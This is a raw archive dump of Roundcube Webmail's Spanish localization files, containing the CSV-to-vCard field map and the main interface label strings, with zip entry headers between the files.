$labels['tz:pacific:palau'] = 'Palaos';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Puerto Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipán';
$labels['tz:pacific:tahiti'] = 'Tahití';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\0|�D��(program/localization/es_ES/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization/<lang>/csv2vcard.inc                                     |
 |                                                                       |
 | Localization file of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2015, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "Anniversary";
$map['assistants_name'] = "Assistant's Name";
$map['assistants_phone'] = "Assistant's Phone";
$map['birthday'] = "Birthday";
$map['business_city'] = "Ciudad de trabajo";
$map['business_countryregion'] = "Provincia o estado de trabajo";
$map['business_fax'] = "Business Fax";
$map['business_phone'] = "Teléfono del trabajo";
$map['business_phone_2'] = "Business Phone 2";
$map['business_postal_code'] = "Código postal del trabajo";
$map['business_state'] = "País o región del trabajo";
$map['business_street'] = "Calle del trabajo";
$map['car_phone'] = "Car Phone";
$map['categories'] = "Categorías";
$map['company'] = "Organización";
$map['department'] = "Department";
$map['email_address'] = "E-mail Address";
$map['email_2_address'] = "Dirección de correo electrónico 2";
$map['email_3_address'] = "Dirección del correo electrónico 3";
$map['first_name'] = "Nombre";
$map['gender'] = "Género";
$map['home_city'] = "Home City";
$map['home_countryregion'] = "País o región del domicilio";
$map['home_fax'] = "Home Fax";
$map['home_phone'] = "Particular";
$map['home_phone_2'] = "Home Phone 2";
$map['home_postal_code'] = "Home Postal Code";
$map['home_state'] = "Home State";
$map['home_street'] = "Home Street";
$map['job_title'] = "Puesto";
$map['last_name'] = "Apellidos";
$map['managers_name'] = "Nombre del director";
$map['middle_name'] = "Segundo nombre";
$map['mobile_phone'] = "Mobile Phone";
$map['notes'] = "Notes";
$map['other_city'] = "Otra ciudad";
$map['other_countryregion'] = "Otra provincia o estado";
$map['other_fax'] = "Otro fax";
$map['other_phone'] = "Otro teléfono";
$map['other_postal_code'] = "Otro código postal";
$map['other_state'] = "Otro país o región";
$map['other_street'] = "Otra calle";
$map['pager'] = "Pager";
$map['primary_phone'] = "Teléfono principal";
$map['spouse'] = "Spouse";
$map['suffix'] = "Suffix";
$map['title'] = "Title";
$map['web_page'] = "Página web";
$map['birth_day'] = "Día de nacimiento";
$map['birth_month'] = "Mes de nacimiento";
$map['birth_year'] = "Año de nacimiento";
$map['display_name'] = "Nombre en pantalla";
$map['fax_number'] = "Fax";
$map['home_address'] = "Dirección personal";
$map['home_country'] = "País de residencia";
$map['home_zipcode'] = "Código postal";
$map['mobile_number'] = "Teléfono móvil";
$map['nickname'] = "Apodo";
$map['organization'] = "Organización";
$map['pager_number'] = "Buscapersonas";
$map['primary_email'] = "Dirección de correo electrónico principal";
$map['secondary_email'] = "Dirección de correo electrónico secundaria";
$map['web_page_1'] = "Página web 1";
$map['web_page_2'] = "Página web 2";
$map['work_phone'] = "Teléfono (Trabajo)";
$map['work_address'] = "Dirección de trabajo";
$map['work_country'] = "País (Trabajo)";
$map['work_zipcode'] = "Código postal (Trabajo)";
$map['date_of_birth'] = "Date of Birth";
$map['email'] = "Email";
$map['home_mobile'] = "Home Mobile";
$map['home_zip'] = "Home Zip";
$map['info'] = "Info";
$map['user_photo'] = "User Photo";
$map['url'] = "URL";
$map['work_city'] = "Work City";
$map['work_company'] = "Work Company";
$map['work_dept'] = "Work Dept";
$map['work_fax'] = "Work Fax";
$map['work_mobile'] = "Work Mobile";
$map['work_state'] = "Work State";
$map['work_title'] = "Work Title";
$map['work_zip'] = "Work Zip";
PK
h�\<����%program/localization/es_ES/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bienvenido a $product';
$labels['username'] = 'Nombre de usuario';
$labels['password'] = 'Contraseña';
$labels['server'] = 'Servidor';
$labels['login'] = 'Iniciar sesión';
$labels['oauthlogin'] = 'Iniciar sesión con $provider';
$labels['menu'] = 'Menú';
$labels['logout'] = 'Cerrar sesión';
$labels['mail'] = 'Correo';
$labels['settings'] = 'Configuración';
$labels['addressbook'] = 'Contactos';
$labels['darkmode'] = 'Modo oscuro';
$labels['lightmode'] = 'Modo claro';
$labels['inbox'] = 'Entrada';
$labels['drafts'] = 'Borradores';
$labels['sent'] = 'Enviados';
$labels['trash'] = 'Papelera';
$labels['junk'] = 'SPAM';
$labels['show_real_foldernames'] = 'Mostrar nombres reales para carpetas especiales';
$labels['subject'] = 'Asunto';
$labels['from'] = 'De';
$labels['sender'] = 'Remitente';
$labels['to'] = 'Destinatario';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Cco';
$labels['replyto'] = 'Responder a';
$labels['followupto'] = 'Responder a todos';
$labels['date'] = 'Fecha';
$labels['size'] = 'Tamaño';
$labels['priority'] = 'Prioridad';
$labels['organization'] = 'Organización';
$labels['readstatus'] = 'Estado de lectura';
$labels['listoptions'] = 'Opciones de listado...';
$labels['listoptionstitle'] = 'Lista de opciones';
$labels['mailboxlist'] = 'Carpetas';
$labels['messagesfromto'] = 'Mensajes $from a $to de $count';
$labels['threadsfromto'] = 'Hilos $from a $to de $count';
$labels['messagenrof'] = 'Mensaje $nr de $count';
$labels['fromtoshort'] = '$from – $to de $count';
$labels['copy'] = 'Copiar';
$labels['move'] = 'Mover';
$labels['moveto'] = 'Mover a…';
$labels['copyto'] = 'Copiar a...';
$labels['download'] = 'Descargar';
$labels['open'] = 'Abrir';
$labels['showattachment'] = 'Mostrar';
$labels['showanyway'] = 'Mostrarlo de todos modos';
$labels['filename'] = 'Nombre del archivo';
$labels['filesize'] = 'Tamaño del archivo';
$labels['addtoaddressbook'] = 'Añadir a contactos';
$labels['sun'] = 'dom';
$labels['mon'] = 'lun';
$labels['tue'] = 'mar';
$labels['wed'] = 'mié';
$labels['thu'] = 'jue';
$labels['fri'] = 'vie';
$labels['sat'] = 'sáb';
$labels['sunday'] = 'domingo';
$labels['monday'] = 'lunes';
$labels['tuesday'] = 'martes';
$labels['wednesday'] = 'miércoles';
$labels['thursday'] = 'jueves';
$labels['friday'] = 'viernes';
$labels['saturday'] = 'sábado';
$labels['jan'] = 'ene';
$labels['feb'] = 'feb';
$labels['mar'] = 'mar';
$labels['apr'] = 'abr';
$labels['may'] = 'may';
$labels['jun'] = 'jun';
$labels['jul'] = 'jul';
$labels['aug'] = 'ago';
$labels['sep'] = 'sep';
$labels['oct'] = 'oct';
$labels['nov'] = 'nov';
$labels['dec'] = 'dic';
$labels['longjan'] = 'enero';
$labels['longfeb'] = 'febrero';
$labels['longmar'] = 'marzo';
$labels['longapr'] = 'abril';
$labels['longmay'] = 'mayo';
$labels['longjun'] = 'junio';
$labels['longjul'] = 'julio';
$labels['longaug'] = 'agosto';
$labels['longsep'] = 'septiembre';
$labels['longoct'] = 'octubre';
$labels['longnov'] = 'noviembre';
$labels['longdec'] = 'diciembre';
$labels['today'] = 'Hoy';
$labels['refresh'] = 'Actualizar';
$labels['checkmail'] = 'Comprobar si hay mensajes nuevos';
$labels['compose'] = 'Redactar';
$labels['writenewmessage'] = 'Crear un mensaje nuevo';
$labels['reply'] = 'Responder';
$labels['replytomessage'] = 'Responder al remitente';
$labels['replytoallmessage'] = 'Responder a la lista o al remitente y a todos los destinatarios';
$labels['replyall'] = 'Responder a todos';
$labels['replylist'] = 'Responder a la lista';
$labels['forward'] = 'Reenviar';
$labels['forwardinline'] = 'Reenviar entre-líneas';
$labels['forwardattachment'] = 'Reenviar como adjunto';
$labels['forwardmessage'] = 'Reenviar mensaje';
$labels['bouncemsg'] = 'Volver a enviar (rebotar)';
$labels['bounce'] = 'Reenviar';
$labels['deletemessage'] = 'Eliminar mensaje';
$labels['movemessagetotrash'] = 'Mover mensaje a la papelera';
$labels['printmessage'] = 'Imprimir este mensaje';
$labels['previousmessage'] = 'Mostrar mensaje anterior';
$labels['firstmessage'] = 'Mostrar primer mensaje';
$labels['nextmessage'] = 'Mostrar el siguiente mensaje';
$labels['lastmessage'] = 'Mostrar el último mensaje';
$labels['backtolist'] = 'Volver a la lista de mensajes';
$labels['viewsource'] = 'Mostrar código';
$labels['mark'] = 'Marcar';
$labels['markmessages'] = 'Marcar mensajes';
$labels['markread'] = 'Como leído';
$labels['markunread'] = 'Como no leído';
$labels['markflagged'] = 'Como resaltado';
$labels['markunflagged'] = 'Como no resaltado';
$labels['markundeleted'] = 'Como no eliminado';
$labels['moreactions'] = 'Más acciones…';
$labels['markallread'] = 'Marcar todos como leídos';
$labels['folders-cur'] = 'Sólo la carpeta seleccionada';
$labels['folders-sub'] = 'Carpeta seleccionada y sus subcarpetas';
$labels['folders-all'] = 'Todas las carpetas';
$labels['more'] = 'Más';
$labels['back'] = 'Volver';
$labels['options'] = 'Opciones';
$labels['composeoptions'] = 'Opciones de redacción';
$labels['optionsandattachments'] = 'Opciones y ficheros adjuntos';
$labels['actions'] = 'Acciones';
$labels['first'] = 'Primero';
$labels['last'] = 'Último';
$labels['previous'] = 'Anterior';
$labels['next'] = 'Siguiente';
$labels['select'] = 'Seleccionar';
$labels['selection'] = 'Selección';
$labels['all'] = 'Todos';
$labels['none'] = 'Ninguno';
$labels['currpage'] = 'Página actual';
$labels['isread'] = 'Leído';
$labels['unread'] = 'No leído';
$labels['flagged'] = 'Resaltado';
$labels['unflagged'] = 'No Resaltado';
$labels['unanswered'] = 'Sin contestar';
$labels['withattachment'] = 'Con adjunto';
$labels['deleted'] = 'Eliminado';
$labels['undeleted'] = 'No eliminado';
$labels['replied'] = 'Contestado';
$labels['forwarded'] = 'Reenviado';
$labels['invert'] = 'Invertir';
$labels['filter'] = 'Filtrar';
$labels['list'] = 'Lista';
$labels['threads'] = 'Hilos';
$labels['expand-all'] = 'Expandir todos';
$labels['expand-unread'] = 'Expandir no leídos';
$labels['collapse-all'] = 'Colapsar todos';
$labels['threaded'] = 'Encadenados';
$labels['showunread'] = 'Mostrar no leídos';
$labels['autoexpand_threads'] = 'Expandir hilos de mensajes';
$labels['do_expand'] = 'todos los hilos';
$labels['expand_only_unread'] = 'solo con mensajes no leídos';
$labels['fromto'] = 'De/A';
$labels['flag'] = 'Resaltar';
$labels['attachment'] = 'Adjunto';
$labels['nonesort'] = 'Ninguno';
$labels['sentdate'] = 'Fecha de envío';
$labels['arrival'] = 'Fecha de llegada';
$labels['asc'] = 'ascendente';
$labels['desc'] = 'descendente';
$labels['listcolumns'] = 'Listar columnas';
$labels['listsorting'] = 'Columna de ordenación';
$labels['listorder'] = 'Criterio de ordenación';
$labels['listmode'] = 'Modo de vista de lista';
$labels['lmode'] = 'Forma de ordenación';
$labels['layout'] = 'Disposición';
$labels['layoutwidescreen'] = 'Pantalla ancha';
$labels['layoutdesktop'] = 'Escritorio';
$labels['layoutlist'] = 'Lista';
$labels['layoutwidescreendesc'] = 'Pantalla ancha (vista de 3 columnas)';
$labels['layoutdesktopdesc'] = 'Escritorio (Lista ancha y vista previa del correo debajo)';
$labels['layoutlistdesc'] = 'Lista (sin vista previa del correo)';
$labels['folderactions'] = 'Acciones de carpeta...';
$labels['compact'] = 'Compactar';
$labels['empty'] = 'Vaciar';
$labels['importmessages'] = 'Importar mensajes';
$labels['mailimportdesc'] = 'Puedes subir ficheros usando formatos <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> o <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Se pueden comprimir varios ficheros en archivos zip.';
$labels['quota'] = 'Uso de disco';
$labels['unknown'] = 'desconocido';
$labels['unlimited'] = 'sin límite';
$labels['quotatype'] = 'Tipo de cuota';
$labels['quotatotal'] = 'Límite';
$labels['quotaused'] = 'Usado';
$labels['quotastorage'] = 'Espacio en disco';
$labels['quotamessage'] = 'Número de mensajes';
$labels['shortheaderdate'] = 'El $date';
$labels['shortheaderto'] = 'A $to el $date';
$labels['shortheaderfrom'] = 'De $from el $date';
$labels['quicksearch'] = 'Búsqueda rápida';
$labels['searchplaceholder'] = 'Buscar...';
$labels['resetsearch'] = 'Reiniciar la búsqueda';
$labels['searchmod'] = 'Opciones de búsqueda';
$labels['msgtext'] = 'Mensaje completo';
$labels['body'] = 'Cuerpo';
$labels['type'] = 'Tipo';
$labels['namex'] = 'Nombre';
$labels['searchscope'] = 'Ámbito';
$labels['currentfolder'] = 'Carpeta actual';
$labels['subfolders'] = 'Ésta y subcarpetas';
$labels['allfolders'] = 'Todas las carpetas';
$labels['searchinterval-1W'] = 'más antiguo que una semana';
$labels['searchinterval-1M'] = 'más antiguo que un mes';
$labels['searchinterval-1Y'] = 'más antiguo que un año';
$labels['searchinterval1W'] = 'más reciente que una semana';
$labels['searchinterval1M'] = 'más reciente que un mes';
$labels['searchinterval1Y'] = 'más reciente que un año';
$labels['openinextwin'] = 'Abrir en nueva ventana';
$labels['emlsave'] = 'Descargar (.eml)';
$labels['changeformattext'] = 'Mostrar en formato de texto simple';
$labels['changeformathtml'] = 'Mostrar en formato HTML';
$labels['editasnew'] = 'Editar como nuevo';
$labels['send'] = 'Enviar';
$labels['sendmessage'] = 'Enviar el mensaje';
$labels['savemessage'] = 'Guardar como borrador';
$labels['addattachment'] = 'Adjuntar un archivo';
$labels['charset'] = 'Codificación';
$labels['editortype'] = 'Tipo de editor';
$labels['returnreceipt'] = 'Confirmación de recibo';
$labels['dsn'] = 'Notificación de estado de la entrega';
$labels['keepformatting'] = 'Continuar formateando';
$labels['mailreplyintro'] = 'El $date, $sender escribió:';
$labels['originalmessage'] = 'Mensaje Original';
$labels['selectimage'] = 'Seleccionar imagen';
$labels['addimage'] = 'Añadir imagen';
$labels['selectmedia'] = 'Seleccionar película';
$labels['addmedia'] = 'Añadir película';
$labels['encrypt'] = 'Encriptar';
$labels['encryptmessage'] = 'Encriptar mensaje';
$labels['encryptmessagemailvelope'] = 'Cifrar mensaje con Malivelope';
$labels['importpubkeys'] = 'Importar claves públicas';
$labels['encryptedsendialog'] = 'Mandando mensaje encriptado';
$labels['encryptandsign'] = 'Encriptar y firmar';
$labels['keyid'] = 'ID de la clave';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Expirado';
$labels['keyrevoked'] = 'Rechazado';
$labels['bccinstead'] = 'Usar Cco';
$labels['addheader'] = 'Añadir destinatario (cabecera)';
$labels['insert'] = 'Insertar';
$labels['insertcontact'] = 'Insertar contacto(s)';
$labels['recipient'] = 'Destinatario';
$labels['recipientedit'] = 'Editar destinatario';
$labels['editidents'] = 'Editar identidades';
$labels['spellcheck'] = 'Corrector ortográfico';
$labels['checkspelling'] = 'Revisar ortografía';
$labels['resumeediting'] = 'Reanudar edición';
$labels['revertto'] = 'Revertir a';
$labels['restore'] = 'Restaurar';
$labels['restoremessage'] = '¿Restaurar el mensaje?';
$labels['ignore'] = 'Ignorar';
$labels['responses'] = 'Respuestas';
$labels['insertresponse'] = 'Insertar una respuesta';
$labels['manageresponses'] = 'Gestionar respuestas';
$labels['newresponse'] = 'Crear nueva respuesta';
$labels['addresponse'] = 'Añadir respuesta';
$labels['editresponse'] = 'Editar respuesta';
$labels['editresponses'] = 'Editar respuestas';
$labels['responsename'] = 'Nombre';
$labels['responsetext'] = 'Texto de respuesta';
$labels['attach'] = 'Adjuntar';
$labels['attachments'] = 'Adjuntos';
$labels['upload'] = 'Cargar';
$labels['uploadprogress'] = '$percent ($current de $total)';
$labels['close'] = 'Cerrar';
$labels['messageoptions'] = 'Opciones de mensaje...';
$labels['togglecomposeoptions'] = 'Mostrar opciones de escritura';
$labels['attachmentrename'] = 'Renombrar el adjunto';
$labels['low'] = 'Baja';
$labels['lowest'] = 'La más baja';
$labels['normal'] = 'Normal';
$labels['high'] = 'Alta';
$labels['highest'] = 'La más alta';
$labels['nosubject'] = '(sin asunto)';
$labels['showimages'] = 'Mostrar imágenes';
$labels['allow'] = 'Permitir';
$labels['alwaysshow'] = 'Siempre mostrar imágenes de $sender';
$labels['alwaysallow'] = 'Permitir siempre de $sender';
$labels['isdraft'] = 'Este es un mensaje de borrador.';
$labels['andnmore'] = '$nr más…';
$labels['details'] = 'Detalles';
$labels['summary'] = 'Resumen';
$labels['headers'] = 'Cabeceras';
$labels['allheaders'] = 'Todas las cabeceras...';
$labels['togglemoreheaders'] = 'Mostrar más encabezados del mensaje';
$labels['togglefullheaders'] = 'Desplegar u ocultar encabezados de mensajes';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Sólo texto';
$labels['savesentmessagein'] = 'Guardar mensaje enviado en';
$labels['dontsave'] = 'no guardar';
$labels['maxuploadsize'] = 'Tamaño de archivo máximo permitido: $size';
$labels['addcc'] = 'Añadir Cc';
$labels['addbcc'] = 'Añadir Cco';
$labels['addreplyto'] = 'Añadir Responder a';
$labels['addfollowupto'] = 'Añadir Seguir a';
$labels['sendreceipt'] = '¿Enviar confirmación de lectura?';
$labels['mdnrequest'] = 'El remitente de este mensaje desea ser notificado cuando usted lo lea. ¿Desea enviar esta notificación?';
$labels['receiptread'] = 'Devolver recibo de confirmación (lectura)';
$labels['yourmessage'] = 'Esto es un acuse de recibo de su mensaje';
$labels['receiptnote'] = 'Nota: Esta notificación sólo confirma que su mensaje fue abierto en el ordenador del destinatario. Eso no garantiza que el destinatario haya leído o entendido el contenido del mensaje.';
$labels['sendalwaysto'] = 'Enviar siempre a $email';
$labels['zoomin'] = 'Acercar';
$labels['zoomout'] = 'Alejar';
$labels['rotate'] = 'Girar';
$labels['increaseimage'] = 'Aumentar el tamaño de la imagen';
$labels['decreaseimage'] = 'Disminuir el tamaño de la imagen';
$labels['rotateimage'] = 'Girar imagen';
$labels['showtools'] = 'Mostrar herramientas de imagen';
$labels['hidetools'] = 'Ocultar herramientas de imagen';
$labels['name'] = 'Nombre de visualización';
$labels['firstname'] = 'Nombre';
$labels['surname'] = 'Apellido';
$labels['middlename'] = 'Segundo nombre';
$labels['nameprefix'] = 'Prefijo';
$labels['namesuffix'] = 'Sufijo';
$labels['nickname'] = 'Alias';
$labels['jobtitle'] = 'Título Profesional';
$labels['department'] = 'Departamento';
$labels['gender'] = 'Sexo';
$labels['maidenname'] = 'Apellido de soltera';
$labels['email'] = 'Correo electrónico';
$labels['phone'] = 'Teléfono';
$labels['address'] = 'Dirección';
$labels['street'] = 'Calle';
$labels['locality'] = 'Ciudad';
$labels['zipcode'] = 'Código postal';
$labels['region'] = 'Provincia';
$labels['country'] = 'País';
$labels['birthday'] = 'Cumpleaños';
$labels['anniversary'] = 'Aniversario';
$labels['website'] = 'Página web';
$labels['instantmessenger'] = 'Mensajería instantánea';
$labels['notes'] = 'Notas';
$labels['male'] = 'masculino';
$labels['female'] = 'femenino';
$labels['manager'] = 'Director';
$labels['assistant'] = 'Auxiliar';
$labels['spouse'] = 'Cónyuge';
$labels['allfields'] = 'Todos los campos';
$labels['search'] = 'Buscar';
$labels['searchresult'] = 'Resultado de búsqueda';
$labels['advsearch'] = 'Búsqueda avanzada';
$labels['advanced'] = 'Avanzadas';
$labels['other'] = 'Otro';
$labels['printcontact'] = 'Imprimir contacto';
$labels['qrcode'] = 'Código QR';
$labels['typehome'] = 'Casa';
$labels['typework'] = 'Trabajo';
$labels['typeother'] = 'Otro';
$labels['typemobile'] = 'Móvil';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax de casa';
$labels['typeworkfax'] = 'Fax del trabajo';
$labels['typecar'] = 'Automóvil';
$labels['typepager'] = 'Paginador';
$labels['typevideo'] = 'Vídeo';
$labels['typeassistant'] = 'Auxiliar';
$labels['typehomepage'] = 'Página Principal';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Perfil';
$labels['addfield'] = 'Añadir campo...';
$labels['addcontact'] = 'Añadir contacto';
$labels['editcontact'] = 'Editar contacto';
$labels['contacts'] = 'Contactos';
$labels['contactproperties'] = 'Propiedades del contacto';
$labels['contactnameandorg'] = 'Nombre y organización';
$labels['personalinfo'] = 'Información personal';
$labels['personal'] = 'Personal';
$labels['contactphoto'] = 'Foto del contacto';
$labels['edit'] = 'Editar';
$labels['cancel'] = 'Cancelar';
$labels['save'] = 'Guardar';
$labels['delete'] = 'Eliminar';
$labels['discard'] = 'Descartar';
$labels['continue'] = 'Continuar';
$labels['ok'] = 'OK';
$labels['rename'] = 'Renombrar';
$labels['addphoto'] = 'Añadir';
$labels['replacephoto'] = 'Reemplazar';
$labels['uploadphoto'] = 'Subir foto';
$labels['choosefile'] = 'Elegir el fichero...';
$labels['choosefiles'] = 'Elegir los ficheros...';
$labels['browse'] = 'Navegar';
$labels['newcontact'] = 'Crear nuevo contacto';
$labels['deletecontact'] = 'Eliminar contactos seleccionados';
$labels['composeto'] = 'Escribir mensaje a';
$labels['contactsfromto'] = 'Contactos $from a $to de $count';
$labels['print'] = 'Imprimir';
$labels['export'] = 'Exportar';
$labels['exportall'] = 'Exportar todo';
$labels['exportsel'] = 'Exportar seleccionados';
$labels['exportvcards'] = 'Exportar contactos en formato vCard';
$labels['newgroup'] = 'Crear nuevo grupo';
$labels['addgroup'] = 'Añadir grupo';
$labels['grouprename'] = 'Renombrar grupo';
$labels['groupdelete'] = 'Borrar grupo';
$labels['groupassign'] = 'Asignar a un grupo...';
$labels['groupremove'] = 'Eliminar de un grupo';
$labels['groupremoveselected'] = 'Eliminar los contactos seleccionados del grupo';
$labels['uponelevel'] = 'Subir un nivel';
$labels['previouspage'] = 'Mostrar grupo anterior';
$labels['firstpage'] = 'Mostrar primer grupo';
$labels['nextpage'] = 'Mostrar grupo siguiente';
$labels['lastpage'] = 'Mostrar último grupo';
$labels['group'] = 'Grupo';
$labels['groups'] = 'Grupos';
$labels['listgroup'] = 'Listar miembros del grupo';
$labels['personaladrbook'] = 'Direcciones personales';
$labels['searchsave'] = 'Guardar búsqueda';
$labels['searchdelete'] = 'Borrar búsqueda';
$labels['import'] = 'Importar';
$labels['importcontacts'] = 'Importar contactos';
$labels['importfromfile'] = 'Importar desde archivo';
$labels['importtarget'] = 'Agregar contactos a';
$labels['importreplace'] = 'Reemplazar toda la lista de contactos';
$labels['importgroups'] = 'Importar asignaciones de grupo';
$labels['importgroupsall'] = 'Todos (crear grupos si es necesario)';
$labels['importgroupsexisting'] = 'Sólo para los grupos existentes';
$labels['importdesc'] = 'Puede cargar contactos de una libreta de contactos existente.<br/>Actualmente soportamos la importación de direcciones desde formatos <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> o desde CSV (separados por comas).';
$labels['importmapdesc'] = 'Confirme que la información de mapeado de campos mostrada abajo es correcta antes de proceder con la importación de datos del CSV (separado por comas).';
$labels['fieldnotmapped'] = 'Campo no mapeado (no importar)';
$labels['skipheader'] = 'No importar la primera línea (cabeceras)';
$labels['done'] = 'Hecho';
$labels['settingsfor'] = 'Configuración para';
$labels['about'] = 'Acerca de';
$labels['preferences'] = 'Preferencias';
$labels['userpreferences'] = 'Preferencias de usuario';
$labels['editpreferences'] = 'Editar preferencias de usuario';
$labels['identities'] = 'Identidades';
$labels['manageidentities'] = 'Administrar identidades';
$labels['newidentity'] = 'Crear nueva identidad';
$labels['addidentity'] = 'Añadir identidad';
$labels['editidentity'] = 'Editar identidad';
$labels['identityencryption'] = 'Encriptación';
$labels['preferhtml'] = 'Mostrar HTML';
$labels['defaultcharset'] = 'Conjunto de caracteres predeterminado';
$labels['htmlmessage'] = 'Mensaje HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Firma digital';
$labels['dateformat'] = 'Formato de fecha';
$labels['timeformat'] = 'Formato de hora';
$labels['prettydate'] = 'Transformar fechas recientes';
$labels['setdefault'] = 'Establecer como  predeterminado';
$labels['autodetect'] = 'Automático';
$labels['language'] = 'Idioma';
$labels['timezone'] = 'Zona horaria';
$labels['pagesize'] = 'Filas por página';
$labels['signature'] = 'Firma';
$labels['dstactive'] = 'Horario de verano';
$labels['showinextwin'] = 'Abrir mensaje en una ventana nueva';
$labels['composeextwin'] = 'Redactar en una ventana nueva';
$labels['htmleditor'] = 'Redactar mensajes HTML';
$labels['htmlonreply'] = 'en respuesta a mensaje HTML';
$labels['htmlonreplyandforward'] = 'en reenvío o respuesta a mensaje HTML';
$labels['htmlsignature'] = 'Firma HTML';
$labels['showemail'] = 'Mostrar dirección electrónica con el nombre de visualización';
$labels['previewpane'] = 'Mostrar panel de vista previa';
$labels['skin'] = 'Apariencia de la interfaz';
$labels['logoutclear'] = 'Vaciar Papelera al cerrar sesión';
$labels['logoutcompact'] = 'Compactar Bandeja de Entrada al cerrar sesión';
$labels['uisettings'] = 'Interfaz de Usuario';
$labels['serversettings'] = 'Configuración del servidor';
$labels['mailboxview'] = 'Vista de Buzón';
$labels['mdnrequests'] = 'Cuando se solicite confirmación de recibo';
$labels['askuser'] = 'preguntarme';
$labels['autosend'] = 'enviar confirmación de recibo';
$labels['autosendknown'] = 'enviar confirmación de recibo a mis contactos, preguntar por los demás';
$labels['autosendknownignore'] = 'enviar confirmación de recibo a mis contactos, ignorar los demás';
$labels['autosendtrusted'] = 'Enviar la confirmación de recepción a mis remitentes de confianza, para el resto preguntarme.';
$labels['autosendtrustedignore'] = 'Enviar la confirmación de recepción a mis remitentes de confianza, para el resto ignorar.';
$labels['ignorerequest'] = 'Ignorar petición';
$labels['readwhendeleted'] = 'Marcar el mensaje como leído al borrarlo';
$labels['flagfordeletion'] = 'Marcar el mensaje para borrarse en vez de borrarlo';
$labels['skipdeleted'] = 'No mostrar mensajes borrados';
$labels['deletealways'] = 'Si mover mensajes a la Papelera fracasa, borrarlos';
$labels['deletejunk'] = 'Directamente eliminar mensajes en SPAM';
$labels['showremoteimages'] = 'Mostrar las imágenes externas';
$labels['allowremoteresources'] = 'Permitir recursos remotos (imágenes, estilos)';
$labels['fromknownsenders'] = 'de remitentes conocidos';
$labels['fromtrustedsenders'] = 'de remitentes de confianza';
$labels['frommycontacts'] = 'de mis contactos';
$labels['always'] = 'siempre';
$labels['alwaysbutplain'] = 'siempre, salvo cuando se responda a un texto llano';
$labels['showinlineimages'] = 'Mostrar imágenes adjuntas debajo del mensaje';
$labels['autosavedraft'] = 'Guardar borrador automáticamente';
$labels['everynminutes'] = 'cada $n minuto(s)';
$labels['refreshinterval'] = 'Actualizar (comprobar mensajes nuevos, etc.)';
$labels['never'] = 'nunca';
$labels['immediately'] = 'inmediatamente';
$labels['messagesdisplaying'] = 'Vista de Mensajes';
$labels['messagescomposition'] = 'Composición de Mensajes';
$labels['mimeparamfolding'] = 'Nombres de archivos adjuntos';
$labels['2231folding'] = 'RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 (otro)';
$labels['force7bit'] = 'Usar codificación MIME para caracteres de 8 bits';
$labels['savelocalstorage'] = "Guardar (temporalmente) en el almacenamiento local del navegador";
$labels['advancedoptions'] = 'Opciones avanzadas';
$labels['toggleadvancedoptions'] = 'Desplegar opciones avanzadas';
$labels['focusonnewmessage'] = 'Enfocar ventana del navegador al recibir nuevo mensaje';
$labels['checkallfolders'] = 'Revisar todas las carpetas por nuevos mensajes';
$labels['displaynext'] = 'Mostrar el siguiente elemento de la lista después de borrar o mover';
$labels['defaultfont'] = 'Tipo de letra predeterminada de mensaje HTML';
$labels['mainoptions'] = 'Opciones Principales';
$labels['browseroptions'] = 'Opciones del Navegador';
$labels['section'] = 'Sección';
$labels['maintenance'] = 'Mantenimiento';
$labels['newmessage'] = 'Nuevo Mensaje';
$labels['signatureoptions'] = 'Opciones de Firma';
$labels['whenreplying'] = 'Al responder';
$labels['replyempty'] = 'no citar el mensaje original';
$labels['replytopposting'] = 'comenzar mensaje nuevo encima del original';
$labels['replytoppostingnoindent'] = 'comenzar nuevo mensaje encima del citado (sin sangría)';
$labels['replybottomposting'] = 'comenzar mensaje nuevo debajo del original';
$labels['replyremovesignature'] = 'Eliminar la firma original del mensaje al responder';
$labels['autoaddsignature'] = 'Añadir firma automáticamente';
$labels['newmessageonly'] = 'solamente nuevo mensaje';
$labels['replyandforwardonly'] = 'respuestas y reenvíos solamente';
$labels['insertsignature'] = 'Insertar firma';
$labels['sigbelow'] = 'Escribir la firma debajo del mensaje entrecomillado';
$labels['sigseparator'] = 'Forzar el separador estándar en las firmas';
$labels['automarkread'] = 'Marcar mensajes como leídos';
$labels['afternseconds'] = 'después de $n segundos';
$labels['reqmdn'] = 'Siempre solicitar confirmación de recibo';
$labels['reqdsn'] = 'Siempre solicitar notificación del estado de la entrega';
$labels['replysamefolder'] = 'Colocar respuestas en la carpeta del mensaje al cual se responde';
$labels['defaultabook'] = 'Libreta de direcciones predeterminada';
$labels['autocompletesingle'] = 'Omitir direcciones electrónicas alternas en el autocompletado';
